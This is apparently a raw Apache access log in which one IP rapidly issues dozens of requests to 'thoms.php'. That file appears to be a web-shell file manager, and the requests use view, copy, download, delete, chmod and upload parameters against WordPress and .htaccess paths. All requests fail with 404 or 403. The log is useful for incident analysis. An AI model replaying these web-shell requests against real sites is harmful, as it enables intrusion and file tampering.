45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fweb-filter&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fweb-filter&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /ba-guo.com.tw/web-filter/cjfuns.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fweb-filter%2Fcjfuns.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fweb-filter%2Fcjfuns.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /thoms.php?dl=cjfuns.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=cjfuns.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fweb-filter&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fweb-filter&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fxmlrpc.php&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade%2Ferror_log&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade%2Ferror_log&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?chmod=.017113718435786.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=.017113718435786.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /ba-guo.com.tw/upgrade/.017113718435786.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?chmod=error_log&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?del=postnews.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=postnews.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?chmod=.htaccess&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade%2F.htaccess&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade%2F.htaccess&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fupgrade&view=postnews.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fupgrade&view=postnews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade%2Fpostnews.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade%2Fpostnews.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?dl=postnews.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=postnews.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?dl=txets.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=txets.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fupgrade&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fupgrade&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fupgrade&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fupgrade&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade%2F.017113718435786.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade%2F.017113718435786.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /ba-guo.com.tw/upgrade/admin.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:09 -0400] "GET /thoms.php?del=admin.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /thoms.php?dl=admin.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fupgrade&view=termps.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fupgrade&view=termps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /thoms.php?del=.017113718435786.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=.017113718435786.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fupgrade&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fupgrade&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade%2Fadmin.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade%2Fadmin.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /thoms.php?chmod=postnews.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=postnews.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /thoms.php?dl=.017113718435786.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=.017113718435786.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /thoms.php?chmod=index.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade%2Ftxets.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade%2Ftxets.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fupgrade&view=txets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fupgrade&view=txets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fupgrade&view=.017113718435786.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fupgrade&view=.017113718435786.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /ba-guo.com.tw/upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/ba-guo.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /ba-guo.com.tw/upgrade/index.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /ba-guo.com.tw/upgrade/error_log HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fupgrade&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fupgrade&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade%2Ftermps.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade%2Ftermps.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fupgrade&view=.htaccess HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fupgrade&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:10 -0400] "GET /thoms.php?del=error_log&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=error_log&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /thoms.php?chmod=txets.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=txets.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /ba-guo.com.tw/upgrade/txets.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /thoms.php?dl=index.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /ba-guo.com.tw/upgrade/postnews.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /thoms.php?del=index.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /thoms.php?dl=.htaccess&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fupgrade%2Findex.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fupgrade%2Findex.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /thoms.php?dl=termps.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=termps.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /thoms.php?chmod=admin.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /thoms.php?p=ba-guo.com.tw%2Fupgrade&view=error_log HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw%2Fupgrade&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /thoms.php?dl=error_log&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=error_log&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /ba-guo.com.tw/upgrade/termps.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /ba-guo.com.tw/upgrade/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /thoms.php?del=termps.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=termps.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /thoms.php?chmod=termps.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=termps.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /thoms.php?del=txets.php&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=txets.php&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /thoms.php?del=.htaccess&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:11 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:50:12 -0400] "GET /thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw%2Fwp-blog-header.php&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
